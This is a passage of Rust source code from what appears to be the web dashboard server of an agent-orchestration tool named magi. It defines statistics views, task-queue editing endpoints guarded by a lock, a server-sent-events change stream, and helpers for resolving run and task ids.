6276    solo_entered: usize,
6277    solo_adopted: usize,
6278    solo_adoption_rate: Option<RateView>,
6279}
6280
6281impl From<&stats::AgentStats> for AgentStatsView {
6282    fn from(a: &stats::AgentStats) -> Self {
6283        Self {
6284            agent: a.agent.clone(),
6285            entered: a.entered,
6286            wins: a.wins,
6287            empty: a.empty,
6288            win_rate: RateView::of(a.wins, a.entered),
6289            competitive_entered: a.competitive_entered,
6290            competitive_wins: a.competitive_wins,
6291            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6292            solo_entered: a.solo_entered,
6293            solo_adopted: a.solo_adopted,
6294            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6295        }
6296    }
6297}
6298
6299/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
6300/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
6301/// value, `None` when `rounds` is zero.
6302#[derive(Debug, Serialize)]
6303struct ReviewerStatsView {
6304    agent: String,
6305    rounds: usize,
6306    seated: usize,
6307    submitted: usize,
6308    adopted: usize,
6309    unique: usize,
6310    timeouts: usize,
6311    adopted_per_round: Option<f64>,
6312    precision: Option<RateView>,
6313    unique_rate: Option<RateView>,
6314    timeout_rate: Option<RateView>,
6315}
6316
6317impl From<&stats::ReviewerStats> for ReviewerStatsView {
6318    fn from(r: &stats::ReviewerStats) -> Self {
6319        Self {
6320            agent: r.agent.clone(),
6321            rounds: r.rounds,
6322            seated: r.seated,
6323            submitted: r.submitted,
6324            adopted: r.adopted,
6325            unique: r.unique,
6326            timeouts: r.timeouts,
6327            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6328            precision: RateView::of(r.adopted, r.submitted),
6329            unique_rate: RateView::of(r.unique, r.submitted),
6330            timeout_rate: RateView::of(r.timeouts, r.seated),
6331        }
6332    }
6333}
6334
6335/// [`crate::stats::AdvisorStats`] for the wire.
6336///
6337/// `reflection_rate` is approximate by construction — see
6338/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
6339/// that caveat is static text in `index.html`, not a field here.
6340#[derive(Debug, Serialize)]
6341struct AdvisorStatsView {
6342    agent: String,
6343    seated: usize,
6344    proposed: usize,
6345    absent: usize,
6346    faint: usize,
6347    strong: usize,
6348    reflection_rate: Option<RateView>,
6349}
6350
6351impl From<&stats::AdvisorStats> for AdvisorStatsView {
6352    fn from(a: &stats::AdvisorStats) -> Self {
6353        Self {
6354            agent: a.agent.clone(),
6355            seated: a.seated,
6356            proposed: a.proposed,
6357            absent: a.absent,
6358            faint: a.faint,
6359            strong: a.strong,
6360            reflection_rate: RateView::of(a.strong, a.proposed),
6361        }
6362    }
6363}
6364
6365/// [`crate::stats::E2eStats`] for the wire.
6366#[derive(Debug, Serialize)]
6367struct E2eStatsView {
6368    rounds: usize,
6369    failures: usize,
6370    sole_detections: usize,
6371    deferred: usize,
6372    sole_rate: Option<RateView>,
6373}
6374
6375impl From<&stats::E2eStats> for E2eStatsView {
6376    fn from(e: &stats::E2eStats) -> Self {
6377        Self {
6378            rounds: e.rounds,
6379            failures: e.failures,
6380            sole_detections: e.sole_detections,
6381            deferred: e.deferred,
6382            sole_rate: RateView::of(e.sole_detections, e.failures),
6383        }
6384    }
6385}
6386
6387/// [`crate::stats::ReleaseBumpStats`] for the wire.
6388///
6389/// `clean` is sent as a raw count, computed the same way
6390/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
6391/// needs_attention`) — never derived client-side from `automerge_enabled`,
6392/// which would misclassify a `merged_directly` bump (automerge rejected, but
6393/// magi merged it directly, so no human involvement) as needing attention.
6394#[derive(Debug, Serialize)]
6395struct ReleaseBumpStatsView {
6396    merged: usize,
6397    recorded: usize,
6398    pr_opened: usize,
6399    automerge_enabled: usize,
6400    merged_directly: usize,
6401    needs_attention: usize,
6402    clean: usize,
6403    coverage_rate: Option<RateView>,
6404    automerge_rate: Option<RateView>,
6405    attention_rate: Option<RateView>,
6406}
6407
6408impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6409    fn from(b: &stats::ReleaseBumpStats) -> Self {
6410        Self {
6411            merged: b.merged,
6412            recorded: b.recorded,
6413            pr_opened: b.pr_opened,
6414            automerge_enabled: b.automerge_enabled,
6415            merged_directly: b.merged_directly,
6416            needs_attention: b.needs_attention,
6417            clean: b.clean(),
6418            coverage_rate: RateView::of(b.recorded, b.merged),
6419            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6420            attention_rate: RateView::of(b.needs_attention, b.recorded),
6421        }
6422    }
6423}
6424
6425/// [`crate::queue::TaskCounts`] for the wire.
6426#[derive(Debug, Serialize)]
6427struct TaskCountsView {
6428    queued: usize,
6429    running: usize,
6430    done: usize,
6431    failed: usize,
6432    held: usize,
6433    blocked: usize,
6434    parked: usize,
6435}
6436
6437impl From<crate::queue::TaskCounts> for TaskCountsView {
6438    fn from(c: crate::queue::TaskCounts) -> Self {
6439        Self {
6440            queued: c.queued,
6441            running: c.running,
6442            done: c.done,
6443            failed: c.failed,
6444            held: c.held,
6445            blocked: c.blocked,
6446            parked: c.parked,
6447        }
6448    }
6449}
6450
6451/// [`crate::stats::RepoStats`] for the wire, one row per repository with
6452/// runs recorded — the summary the UI's repository selector is built from.
6453/// Carries no nested `Stats`: picking a repo means re-fetching
6454/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
6455/// aggregation rather than duplicating it.
6456#[derive(Debug, Serialize)]
6457struct RepoSummaryView {
6458    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
6459    /// against, full path and all (see [`stats_get`]'s own doc for why).
6460    repo: String,
6461    /// Display name only; never used for matching.
6462    name: String,
6463    runs: usize,
6464    completion_rate: Option<RateView>,
6465}
6466
6467impl From<&stats::RepoStats> for RepoSummaryView {
6468    fn from(r: &stats::RepoStats) -> Self {
6469        let t = &r.stats.totals;
6470        Self {
6471            repo: r.repo.to_string_lossy().into_owned(),
6472            name: r.name.clone(),
6473            runs: t.runs,
6474            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6475        }
6476    }
6477}
6478
6479/// `GET /api/stats` - the whole answer. `Stats` itself carries no
6480/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
6481/// renders from them) are free to grow without that becoming a wire-contract
6482/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
6483/// data" from "computed and it really is zero" the way [`RateView`] does.
6484#[derive(Debug, Serialize)]
6485struct StatsView {
6486    totals: StatsTotalsView,
6487    /// Best win rate first, as [`stats::collect`] already sorts it.
6488    agents: Vec<AgentStatsView>,
6489    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
6490    reviewers: Vec<ReviewerStatsView>,
6491    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
6492    advisors: Vec<AdvisorStatsView>,
6493    e2e: E2eStatsView,
6494    release_bumps: ReleaseBumpStatsView,
6495    queue: Option<TaskCountsView>,
6496    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
6497    /// that field's doc. Asserted to match it in
6498    /// `stats_runs_unreadable_matches_health`.
6499    ///
6500    /// Always the whole-workload count, even when `repo` narrows every other
6501    /// field to one repository - an unreadable `run.json` carries no `repo`
6502    /// a per-repository count could attribute it to, and the queue/health
6503    /// views this mirrors never scope it either. The UI must not present it
6504    /// as if it were scoped to the selected repository.
6505    runs_unreadable: usize,
6506    /// Every repository with runs recorded, most runs first - what the UI's
6507    /// repository selector is built from. Always the full list regardless of
6508    /// `repo`, so switching repositories never needs a second request.
6509    repos: Vec<RepoSummaryView>,
6510    /// Runs per local day over the last 30 days, oldest first, always 30
6511    /// entries. Days are the *server's* local dates (the UI must not convert
6512    /// them again), cut by run creation and classified by current status.
6513    /// Narrowed by `repo` like every other run-derived field.
6514    daily: Vec<DailyStatsView>,
6515    /// The `?repo=` value this response was narrowed to, echoed back so the
6516    /// UI can confirm its selection round-tripped. `None` for the aggregate,
6517    /// all-repositories view.
6518    repo: Option<String>,
6519    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
6520    /// current config roster no longer lists them. Empty with `?all=true`, an
6521    /// unreadable config, or when nothing was retired.
6522    retired_hidden: Vec<String>,
6523}
6524
6525/// One day of [`StatsView::daily`].
6526#[derive(Debug, Serialize)]
6527struct DailyStatsView {
6528    /// `YYYY-MM-DD`, server-local.
6529    date: String,
6530    runs: usize,
6531    merged: usize,
6532    ready: usize,
6533    other: usize,
6534    /// `None` on a day with no runs, so it never reads as 0%.
6535    completion_rate: Option<RateView>,
6536}
6537
6538impl From<&stats::DayBucket> for DailyStatsView {
6539    fn from(b: &stats::DayBucket) -> Self {
6540        Self {
6541            date: b.date.to_string(),
6542            runs: b.runs,
6543            merged: b.merged,
6544            ready: b.ready,
6545            other: b.other,
6546            completion_rate: RateView::of(b.merged + b.ready, b.runs),
6547        }
6548    }
6549}
6550
6551/// How many days [`StatsView::daily`] covers.
6552const STATS_DAILY_DAYS: usize = 30;
6553
6554/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
6555/// repository. Matched by full-path equality against `RunState.repo` only
6556/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
6557/// `--repo` is, because the value here always came from this same route's
6558/// own `repos` list in an earlier response, never typed by a human. A value
6559/// matching no run is a 404, not an empty aggregate: the caller asked for a
6560/// specific, named repository, and silently returning zeroes would look
6561/// exactly like a repository that has runs but none of interest.
6562#[derive(Debug, Default, Deserialize)]
6563#[serde(default)]
6564struct StatsQuery {
6565    repo: Option<String>,
6566    /// `?all=true` keeps agents that are no longer in the roster.
6567    all: bool,
6568    /// The dashboard fetches queue counts independently of run history.
6569    runs_only: bool,
6570}
6571
6572/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
6573/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
6574/// runs when `?repo=` narrows it), the same counting logic `magi stats`
6575/// prints from. Reads every readable run on disk, exactly as
6576/// [`runs_unreadable`] does, so the two counts can never drift apart the way
6577/// a separately-maintained tally could.
6578async fn stats_get(
6579    State(ui): State<Arc<Ui>>,
6580    Query(q): Query<StatsQuery>,
6581) -> ApiResult<Json<StatsView>> {
6582    blocking(move || {
6583        let states: Vec<RunState> = run_ids(&ui.runs)
6584            .into_iter()
6585            .filter_map(|id| read_run(&ui.runs, &id).ok())
6586            .collect();
6587        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6588            .iter()
6589            .map(RepoSummaryView::from)
6590            .collect();
6591        let mut scoped: Vec<&RunState> = states.iter().collect();
6592        let mut collected = match &q.repo {
6593            Some(repo) => {
6594                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
6595                if filtered.is_empty() {
6596                    return Err(ApiError::not_found(format!(
6597                        "no runs recorded against repo `{repo}`"
6598                    )));
6599                }
6600                scoped = filtered.clone();
6601                stats::collect_refs(filtered)
6602            }
6603            None => stats::collect(&states),
6604        };
6605        if !q.all {
6606            let repo = q
6607                .repo
6608                .as_deref()
6609                .map_or_else(|| ui.repo.clone(), PathBuf::from);
6610            stats::retain_current_roster(&mut collected, &repo);
6611        }
6612        let daily = stats::daily(
6613            scoped,
6614            jiff::Zoned::now().date(),
6615            &jiff::tz::TimeZone::system(),
6616            STATS_DAILY_DAYS,
6617        );
6618        let queue_counts = (!q.runs_only)
6619            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
6620        Ok(Json(StatsView {
6621            totals: StatsTotalsView::from(&collected.totals),
6622            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
6623            reviewers: collected
6624                .reviewers
6625                .iter()
6626                .map(ReviewerStatsView::from)
6627                .collect(),
6628            advisors: collected
6629                .advisors
6630                .iter()
6631                .map(AdvisorStatsView::from)
6632                .collect(),
6633            e2e: E2eStatsView::from(&collected.e2e),
6634            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6635            queue: queue_counts,
6636            runs_unreadable: runs_unreadable(&ui.runs),
6637            repos,
6638            daily: daily.iter().map(DailyStatsView::from).collect(),
6639            repo: q.repo.clone(),
6640            retired_hidden: collected.retired_hidden.clone(),
6641        }))
6642    })
6643    .await
6644}
6645
6646/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
6647/// gives no reason - which must keep working, since not every hold has one.
6648#[derive(Debug, Default, Deserialize)]
6649#[serde(default, deny_unknown_fields)]
6650struct HoldBody {
6651    reason: Option<String>,
6652}
6653
6654async fn queue_hold(
6655    State(ui): State<Arc<Ui>>,
6656    Path(id): Path<String>,
6657    body: std::result::Result<Json<HoldBody>, JsonRejection>,
6658) -> ApiResult<Json<TaskView>> {
6659    // An absent body is the ordinary case - most holds are unexplained, and
6660    // that has to stay a one-tap action rather than a form. A body that is
6661    // present and malformed is still a bad request.
6662    let body = match body {
6663        Ok(Json(body)) => body,
6664        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6665        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6666    };
6667    let reason = body.reason.filter(|r| !r.trim().is_empty());
6668    mutate(ui, id, move |t| {
6669        t.hold_manual(reason.clone());
6670        Ok(())
6671    })
6672    .await
6673}
6674
6675async fn queue_release(
6676    State(ui): State<Arc<Ui>>,
6677    Path(id): Path<String>,
6678) -> ApiResult<Json<TaskView>> {
6679    mutate(ui, id, |t| {
6680        t.release_operator("web", None);
6681        Ok(())
6682    })
6683    .await
6684}
6685
6686#[derive(Debug, Deserialize)]
6687#[serde(deny_unknown_fields)]
6688struct AttemptLimitBody {
6689    // Required even when clearing: missing fields must not silently erase an override.
6690    attempt_limit: serde_json::Value,
6691}
6692
6693async fn queue_attempt_limit(
6694    State(ui): State<Arc<Ui>>,
6695    Path(id): Path<String>,
6696    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6697) -> ApiResult<Json<TaskView>> {
6698    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6699    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6700        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6701    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6702}
6703
6704#[derive(Debug, Deserialize)]
6705#[serde(deny_unknown_fields)]
6706struct ImplementersBody {
6707    implementers: u8,
6708}
6709
6710async fn queue_implementers(
6711    State(ui): State<Arc<Ui>>,
6712    Path(id): Path<String>,
6713    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6714) -> ApiResult<Json<TaskView>> {
6715    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6716    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6717}
6718
6719#[derive(Debug, Deserialize)]
6720#[serde(deny_unknown_fields)]
6721struct UrgentBody {
6722    urgent: bool,
6723}
6724
6725async fn queue_urgent(
6726    State(ui): State<Arc<Ui>>,
6727    Path(id): Path<String>,
6728    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6729) -> ApiResult<Json<TaskView>> {
6730    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6731    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6732}
6733
6734/// The body of `POST /api/queue/{id}/priority`.
6735#[derive(Debug, Deserialize)]
6736#[serde(deny_unknown_fields)]
6737struct PriorityBody {
6738    priority: i32,
6739}
6740
6741/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
6742///
6743/// [`Task::set_priority`] is the one place the "not while running" rule is
6744/// stated; this route only carries the body to it and lets its `Err` become
6745/// the 4xx the card shows.
6746async fn queue_priority(
6747    State(ui): State<Arc<Ui>>,
6748    Path(id): Path<String>,
6749    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6750) -> ApiResult<Json<TaskView>> {
6751    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6752    mutate(ui, id, move |t| t.set_priority(body.priority)).await
6753}
6754
6755/// The body of `POST /api/queue/{id}/edit`.
6756#[derive(Debug, Deserialize)]
6757#[serde(deny_unknown_fields)]
6758struct EditBody {
6759    title: String,
6760    instruction: String,
6761    /// Save even though the new text names a branch, commit or pull request
6762    /// that unfinished work already owns.
6763    #[serde(default)]
6764    force: bool,
6765}
6766
6767/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
6768/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
6769/// that refusal's message is what the sheet shows back.
6770async fn queue_edit(
6771    State(ui): State<Arc<Ui>>,
6772    Path(id): Path<String>,
6773    body: std::result::Result<Json<EditBody>, JsonRejection>,
6774) -> ApiResult<Json<TaskView>> {
6775    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6776    // The judge is an agent call, so it is awaited here, outside the claim
6777    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
6778    // remembered, and the save refuses if the task moved underneath it.
6779    let mut judged: Option<(String, PathBuf)> = None;
6780    if !body.force {
6781        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6782        let (id, text) = (id.clone(), body.instruction.clone());
6783        let (seen, hits) = blocking(move || {
6784            let id = resolve_task(&queue, &id)?;
6785            let t = queue.get(&id)?;
6786            if text == t.instruction {
6787                return Ok((None, Vec::new()));
6788            }
6789            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6790            Ok((Some((t.instruction, t.repo)), hits))
6791        })
6792        .await?;
6793        if let Some((_, repo)) = &seen {
6794            let cfg = crate::config::Config::discover(repo, None)
6795                .ok()
6796                .map(|(c, _)| c);
6797            let screened =
6798                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6799                    .await
6800                    .map_err(|dup| {
6801                        ApiError::conflict(dup.render(
6802                            "Nothing was saved. If it is not a duplicate, repeat the request \
6803                             with \"force\": true.",
6804                        ))
6805                    })?;
6806            if let crate::dupes::Screened::Unjudged(why) = screened {
6807                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6808            }
6809        }
6810        judged = seen;
6811    }
6812    let force = body.force;
6813    mutate(ui, id, move |t| {
6814        if !force && body.instruction != t.instruction {
6815            match &judged {
6816                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6817                _ => {
6818                    anyhow::bail!("the task changed while it was being checked; repeat the request")
6819                }
6820            }
6821        }
6822        t.edit(body.title.clone(), body.instruction.clone())
6823    })
6824    .await
6825}
6826
6827/// `POST /api/queue/{id}/done` - close a task as finished without deleting
6828/// it, so the phone's other way to clear a task from the backlog does not
6829/// have to cost the run history, the attribution, and `created_at` the way
6830/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
6831/// can be marked done by hand, because this is for the run the loop never
6832/// saw land - a merge done by hand, or a gate that misreported - and that can
6833/// happen from any status the task was left in.
6834async fn queue_done(
6835    State(ui): State<Arc<Ui>>,
6836    Path(id): Path<String>,
6837) -> ApiResult<Json<TaskView>> {
6838    let home = ui.home.clone();
6839    mutate(ui, id, move |t| {
6840        t.succeed();
6841        // Same as the loop's own settle path: closing a task by hand is just
6842        // as much "this task's story is over" as a daemon-driven `Merged`/
6843        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
6844        // behind must stop looking like it still needs a human. `ui.home`,
6845        // not the process-global `run::home()`: they agree in a real
6846        // process, but only `ui.home` also agrees with a test fixture's own
6847        // directory.
6848        crate::daemon::supersede_prior_runs(t, &home);
6849        Ok(())
6850    })
6851    .await
6852}
6853
6854/// `DELETE /api/queue/{id}`.
6855///
6856/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
6857/// names this task: a `running` status or an orphaned `.lock` left behind by a
6858/// killed daemon is a leftover, and treating either as authority made the
6859/// task undeletable from the phone for good. The associated runs, if any, are
6860/// kept: a run is self-contained history and not an appendage of the task.
6861async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6862    blocking(move || {
6863        let id = resolve_task(&ui.queue, &id)?;
6864        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6865        ui.queue
6866            .remove(&id, in_flight, &ui.questions)
6867            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6868        Ok(StatusCode::NO_CONTENT)
6869    })
6870    .await
6871}
6872
6873/// Read a task, change it, write it back, under the queue's own lock.
6874///
6875/// Taking the same claim a daemon takes is what makes hold, release,
6876/// priority, edit, and done safe to press while magi is running: without it
6877/// the daemon's next save would land on top of the operator's change and
6878/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
6879/// both do, for a running task - and that refusal becomes the 4xx the card
6880/// shows, same as any other domain rule.
6881async fn mutate(
6882    ui: Arc<Ui>,
6883    id: String,
6884    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6885) -> ApiResult<Json<TaskView>> {
6886    blocking(move || {
6887        let id = resolve_task(&ui.queue, &id)?;
6888        // `claim` fails when the lock file already exists, which is the
6889        // conflict the UI must report: the daemon owns that task's file for
6890        // as long as it is running it, and our write would be lost under its
6891        // next save. The message names the lock either way.
6892        let _claim = ui.queue.claim(&id).map_err(|e| {
6893            ApiError::conflict(format!(
6894                "{e:#} - a daemon is running this task, so it cannot be \
6895                 changed from here yet; wait until it is released, then retry"
6896            ))
6897        })?;
6898        let mut task = ui.queue.get(&id)?;
6899        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6900            Ok(dup) => ApiError::conflict(dup.render(
6901                "Nothing was saved. If it is not a duplicate, repeat the request with \
6902                 \"force\": true.",
6903            )),
6904            Err(e) => ApiError::bad_request_from(e),
6905        })?;
6906        ui.queue.put(&mut task)?;
6907        Ok(Json(TaskView::from(task)))
6908    })
6909    .await
6910}
6911
6912/// The change stream: one revision number per store, on connect and whenever
6913/// any of them moves.
6914///
6915/// One shared worker scans stores; clients only forward its notifications.
6916async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6917    ui.monitor.ensure_worker(&ui);
6918    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
6919    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6920
6921    let state = Arc::clone(&ui);
6922    tokio::spawn(async move {
6923        let initial_revisions = {
6924            let guard = match state.monitor.latest.lock() {
6925                Ok(g) => g,
6926                Err(p) => p.into_inner(),
6927            };
6928            guard.as_ref().map(|(r, _)| *r)
6929        };
6930        if let Some(revisions) = initial_revisions {
6931            let initial_payload = serde_json::json!({
6932                "queue_rev": revisions.0,
6933                "runs_rev": revisions.1,
6934                "questions_rev": revisions.2,
6935                "talks_rev": revisions.3,
6936                "notifications_rev": revisions.4,
6937                "loop_rev": revisions.5,
6938            });
6939
6940            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
6941                if tx.send(event).await.is_err() {
6942                    return;
6943                }
6944            }
6945        }
6946
6947        loop {
6948            match tokio::select! {
6949                _ = tx.closed() => return,
6950                value = broadcast_rx.recv() => value,
6951            } {
6952                Ok(notif) => {
6953                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
6954                    else {
6955                        break;
6956                    };
6957                    if tx.send(event).await.is_err() {
6958                        break;
6959                    }
6960                }
6961                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
6962                    let revs = {
6963                        let guard = match state.monitor.latest.lock() {
6964                            Ok(g) => g,
6965                            Err(p) => p.into_inner(),
6966                        };
6967                        guard.as_ref().map(|(r, _)| *r)
6968                    };
6969                    if let Some(revs) = revs {
6970                        let payload = serde_json::json!({
6971                            "queue_rev": revs.0,
6972                            "runs_rev": revs.1,
6973                            "questions_rev": revs.2,
6974                            "talks_rev": revs.3,
6975                            "notifications_rev": revs.4,
6976                            "loop_rev": revs.5,
6977                        });
6978                        if let Ok(event) = Event::default().event("change").json_data(payload) {
6979                            if tx.send(event).await.is_err() {
6980                                break;
6981                            }
6982                        }
6983                    }
6984                }
6985                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
6986                    break;
6987                }
6988            }
6989        }
6990    });
6991
6992    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6993        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6994}
6995
6996/// Run ids under `runs`, newest first.
6997///
6998/// Rooted at an explicit directory rather than calling [`run::list_ids`],
6999/// which reads the process-global home: the server has to be drivable against
7000/// a temp directory for any of this to be testable.
7001fn run_ids(runs: &FsPath) -> Vec<String> {
7002    let mut ids: Vec<String> = std::fs::read_dir(runs)
7003        .into_iter()
7004        .flatten()
7005        .flatten()
7006        .filter(|e| e.path().join("run.json").is_file())
7007        .map(|e| e.file_name().to_string_lossy().into_owned())
7008        .collect();
7009    // Ids start with a sortable timestamp.
7010    ids.sort_unstable_by(|a, b| b.cmp(a));
7011    ids
7012}
7013
7014/// Read one run's state from an explicit runs root.
7015fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7016    let path = runs.join(id).join("run.json");
7017    let body =
7018        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7019    let state: RunState =
7020        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7021    // The same migration `RunState::load` applies, so a record from the
7022    // previous schema reads here as it does everywhere else (an origin-less
7023    // run shows as "origin unknown") instead of vanishing from the phone the
7024    // moment the schema is bumped.
7025    run::migrate_schema(state)
7026}
7027
7028/// Runs on disk under `runs` whose state this build cannot parse - almost
7029/// always a schema bump, occasionally a run killed mid-write.
7030///
7031/// Exposed so every surface that reports on runs shares one count instead of
7032/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7033/// `magi doctor` calls this directly rather than guessing at the same number
7034/// a second way.
7035#[must_use]
7036pub fn runs_unreadable(runs: &FsPath) -> usize {
7037    run_ids(runs)
7038        .into_iter()
7039        .filter(|id| read_run(runs, id).is_err())
7040        .count()
7041}
7042
7043fn plain_record_id(id: &str) -> bool {
7044    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7045}
7046
7047/// Expand an id or short id to exactly one run id.
7048fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7049    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7050        return Ok(id.to_owned());
7051    }
7052    pick(run_ids(runs), id, "run")
7053}
7054
7055/// Expand an id or short id to exactly one task id.
7056fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7057    if plain_record_id(id) && queue.path_of(id).is_file() {
7058        return Ok(id.to_owned());
7059    }
7060    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7061    pick(ids, id, "task")
7062}
7063
7064/// A question as the phone reads it.
7065///
7066/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7067/// text already parsed into a node tree so the client never runs its own
7068/// markdown reader over agent-authored prose. A relative image path in it
7069/// resolves against this question's own panel asset route, which is the one
7070/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7071/// separate, sandboxed document, but `detail` is rendered inline in the
7072/// operator's own page, so an image reference in it may only ever point at
7073/// files magi itself already serves for this question.
7074#[derive(Debug, Serialize)]
7075struct QuestionView {
7076    choice_effects: std::collections::BTreeMap<String, String>,
7077    record_revision: String,
7078    #[serde(flatten)]
7079    question: Question,
7080    detail_md: Vec<md::Node>,
7081    posting_view: Option<PostingView>,
7082    /// Each thread turn's body, parsed; same order as `question.thread`.
7083    thread_bodies_md: Vec<Vec<md::Node>>,
7084    /// Each thread turn's deputy note, parsed (`None` for a turn without
7085    /// one); same order as `question.thread`.
7086    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7087    /// Is the ball in the agent's court right now?
7088    ///
7089    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7090    /// [`Question::say`] - so this is the one field that tells the phone to
7091    /// disable the answer controls and show "waiting for the agent" instead of
7092    /// a card the owner can act on. Computed rather than stored on
7093    /// [`Question`] itself, on the same reasoning as `waiting` on
7094    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7095    /// it here means the client never has to re-derive that rule.
7096    waiting_on_agent: bool,
7097    /// Who is waiting on this open question - see [`holder_of`]. Separate
7098    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7099    /// anyone is there to take it.
7100    holder: Option<&'static str>,
7101    /// Whether `magi serve` can start a follow-up agent for a conductor
7102    /// question at all: false when `daemon.max_deputies = 0` or the config is
7103    /// unreadable. Separate from `holder`, which says who is listening now.
7104    deputies_enabled: bool,
7105    /// All starts were spent and no live holder remains. Display-only: the
7106    /// final attempt increments `starts` before running under its lease.
7107    deputy_exhausted: bool,
7108    text_delivery: crate::question_delivery::Availability,
7109    /// `question.run` is a task id (conductor / triage questions), not a run
7110    /// id, so the UI links it to the task page.
7111    run_is_task: bool,
7112    /// The existing chat this question's task came from, including settled
7113    /// questions - see [`crate::consult::associated_talk`].
7114    origin_chat: Option<String>,
7115    /// `origin_chat` is closed; consulting reopens it first.
7116    origin_chat_closed: bool,
7117    /// Consultation eligibility is separate from navigation to the chat.
7118    can_consult_chat: bool,
7119}
7120
7121#[derive(Debug, Serialize)]
7122struct PostingView {
7123    before_md: Vec<md::Node>,
7124    after_md: Vec<md::Node>,
7125    fields: Vec<crate::github_text::ComparisonView>,
7126}
7127
7128fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7129    let comparison = question.posting_comparison.as_ref()?;
7130    if !comparison.matches_detail(&question.detail) {
7131        return None;
7132    }
7133    let mut ids = std::collections::BTreeSet::new();
7134    if comparison.fields.is_empty()
7135        || comparison
7136            .fields
7137            .iter()
7138            .flat_map(|f| &f.pairs)
7139            .any(|p| !ids.insert(p.id))
7140        || comparison
7141            .fields
7142            .iter()
7143            .flat_map(|f| &f.original_triggers)
7144            .any(|t| !ids.insert(t.id))
7145    {
7146        return None;
7147    }
7148    let fields = comparison
7149        .fields
7150        .iter()
